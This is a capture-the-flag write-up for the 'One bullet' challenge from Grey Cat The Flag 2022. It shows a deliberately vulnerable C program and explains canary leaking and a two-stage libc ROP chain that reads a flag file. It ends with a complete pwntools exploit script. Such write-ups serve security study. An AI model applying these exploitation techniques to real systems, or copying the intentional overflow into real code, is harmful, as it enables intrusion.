Skip to content

One bullet

In Grey Cat The Flag Final 2022, 991 points

Very short ROP chain + stack canary

Challenge files: ld-2.31.so libc-2.31.so Makefile one_bullet.c

Introduction and analysis

This C program is fairly short and simple, so I've reproduced it completely below:

c
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);


    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
}

int main() {
    size_t* read_ptr;
    setup();
    printf("here's a bullet: %p\n", system);

    printf("cocking the gun...\n");
    read(0, &read_ptr, sizeof read_ptr);
    write(1, read_ptr, sizeof read_ptr); // arb read

    printf("fire! i bet u will miss tho...\n");
    read(0, &read_ptr, 0x28); // buffer overflow
}

Right away, we have a libc leak. However, the program is compiled with full RELRO, stack protectors, PIE and non-executable stack. The seccomp rules also ban the use of execve, so we will have to use a open/read/write ROP to read the flag.

We have a single arbitrary read, followed by a very small stack buffer overflow:

image-20220626073936303.png

Unfortunately, we only have space for 2 ROP gadgets. It looks like we will have to do two ROP chains, the first one to expand the amount of data we can write, and the second to actually read the flag.

Exploitation

Before we get to ROP, we will need to leak the stack canary. Luckily, with some searching in GDB, we find that the stack canary is located in a region of memory a constant offset before the start of libc. It turns out the stack canary is stored in the thread local storage.

Now that we have leaked the canary, we can get to the actual ROP. I used ROPgadget to list all usable gadgets in the provided libc.

Since we have just returned from read(0, &read_ptr, 0x28);, the rdi and rsi registers are setup for a read to read_ptr. The only thing we need to do is set rdx to a larger value.

Searching for mov rdx, I found

0x0000000000112ede : mov rdx, qword ptr [rsi] ; xor eax, eax ; cmp rcx, rdx ; seta al ; sbb eax, 0 ; ret

which sets rdx = *rsi and a bunch of other harmless stuff. This is quite useful as rsi currently points to read_ptr, which we control. Thus we can control rdx by setting the first qword of our input. Next, we call read so we can extend our ROP chain. Since we are writing to read_ptr, the second ROP chain will start at offset 0x28 to account for the first ROP chain.

python
mov_rdx_qword_rsi = libc.address + 0x0000000000112ede
p.send(p64(0x1337) + p64(canary) + p64(0) + p64(mov_rdx_qword_rsi) + p64(libc.sym.read))

Now that we have effectively unlimited buffer overflow, we can start with the second ROP. I found a nice writable region at the start of glibc that we can use to store the name of the file to open, as well as the read data. I also noted a few gadgets that seemed useful:

python
flag_txt_loc = libc.address + 0x1eb000
pop_rsi_ret = libc.address + 0x0000000000027529
pop_rdi_ret = libc.address + 0x0000000000026b72
pop_rcx_ret = libc.address + 0x000000000009f822

First, we will call read(0, flag_txt_loc, 0x1337) to write flag.txt (or wherever the flag is) to flag_txt_loc. Luckily, rdi and rdx have already been set earlier, so we only need to deal with rsi. This can be done pretty easily using the pop rsi gadget:

python
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.read)

Next, we will call open(flag_txt_loc, 0). This can also be done quite easily using the pop rdi and pop rsi gadgets.

python
rop_2 += p64(pop_rdi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(0)
rop_2 += p64(libc.sym.open)

Now, we need to call read(rax, flag_txt_loc, 0x1337). The hard part here is moving rax into rdi. I found a gadget that seems usable:

0x000000000005e7a2 : mov rdi, rax ; cmp rdx, rcx ; jae 0x5e78c ; mov rax, r8 ; ret

We just need to make sure that rdx is smaller than rcx so the jae doesn't jump. This can be done by setting rcx using pop rcx and using the mov rdx, qword ptr [rsi] to set rdx. I decided to store the number of bytes to read at flag_txt_loc + 16, so rsi needs to be set to flag_txt_loc + 16 so that the right value can be moved into rdx. rsi is restored to flag_txt_loc after mov rdi rax and beforeread, so the flag gets read to the right location.

python
# Read /flag
rop_2 += p64(pop_rcx_ret)
# rcx gotta be bigger than rdx so jae doesn't branch
rop_2 += p64(0x1337133713371337)
# mov rax (file descriptor) into rdi
rop_2 += p64(weird_mov_rdi_rax)
# Mov Flag length into rdx
# Use mov rdx, qword ptr [rsi]
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc+0x10)
rop_2 += p64(mov_rdx_qword_rsi)
# Restore rsi to flag location
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.read)

Now, all that's left is to puts(flag_txt_loc):

python
rop_2 += p64(pop_rdi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.puts)

And setup the ROP + flag_txt_loc:

python
p.sendline(b"a"*0x28+rop_2)
sleep(1)
file_to_read = b"/flag"
p.send(file_to_read + b"\0" + b"a"*(16-len(file_to_read)-1)+p64(0x100))

Conclusion

During the CTF, I got stuck on leaking the stack canary. But after that the ROP chain is actually not that painful, although I was only able to test locally during the CTF and it may just decide to fail when run on the server. As the program segfaults after the last ROP, a call to fflush might be needed to actually send the flag. Overall quite an interesting challenge that can yield quite a lot of different solutions.

Solve script

python
from ctflib.pwn import *

e = ELF("one_bullet.o_patched")
libc = ELF("libc-2.31.so", checksec=False)
ld = ELF("ld-2.31.so", checksec=False)
context.binary = e

def setup():
    p = e.process()
    return p

if __name__ == '__main__':
    p = setup()

    p.recvuntil("here's a bullet:")
    leak = find_hex(p.recvline(), 12)
    libc.address = leak - libc.sym.system
    print("Libc base:", hex(libc.address))

    # Leak canary
    p.send(p64(libc.address - 0x2898))
    p.recvline()
    x = p.recvline()[:8]
    canary = u64(x)
    # First rop chain
    mov_rdx_qword_rsi = libc.address + 0x0000000000112ede
    p.send(p64(0x1337)+p64(canary)+p64(0)+p64(mov_rdx_qword_rsi)+p64(libc.sym.read) )
    p.clean()


    flag_txt_loc = libc.address + 0x1eb000
    pop_rsi_ret = libc.address + 0x0000000000027529
    pop_rdi_ret = libc.address + 0x0000000000026b72
    pop_rcx_ret = libc.address + 0x000000000009f822
    weird_mov_rdi_rax = libc.address + 0x000000000005e7a2

    rop_2 = b""
    # Write '/flag' + flag length to libc writable area
    # File to read is controlled by input here
    rop_2 += p64(pop_rsi_ret)
    rop_2 += p64(flag_txt_loc)
    rop_2 += p64(libc.sym.read)
    # open /flag
    # open('/flag', 0, whatever)
    rop_2 += p64(pop_rdi_ret)
    rop_2 += p64(flag_txt_loc)
    rop_2 += p64(pop_rsi_ret)
    rop_2 += p64(0)
    rop_2 += p64(libc.sym.open)

    # Read /flag
    rop_2 += p64(pop_rcx_ret)
    # rcx gotta be bigger than rdx so jae doesn't branch
    rop_2 += p64(0x1337133713371337)
    # mov rax (file descriptor) into rdi
    rop_2 += p64(weird_mov_rdi_rax)
    # Mov Flag length into rdx
    # Use mov rdx, qword ptr [rsi]
    rop_2 += p64(pop_rsi_ret)
    rop_2 += p64(flag_txt_loc+0x10)
    rop_2 += p64(mov_rdx_qword_rsi)
    # Restore rsi to flag location
    rop_2 += p64(pop_rsi_ret)
    rop_2 += p64(flag_txt_loc)
    rop_2 += p64(libc.sym.read)
    # puts(flag_txt_loc)
    rop_2 += p64(pop_rdi_ret)
    rop_2 += p64(flag_txt_loc)
    rop_2 += p64(libc.sym.puts)

    p.sendline(b"a"*0x28+rop_2)
    sleep(1)
    file_to_read = b"/flag"
    p.send(file_to_read + b"\0" + b"a"*(16-len(file_to_read)-1)+p64(0x100))

    p.interactive()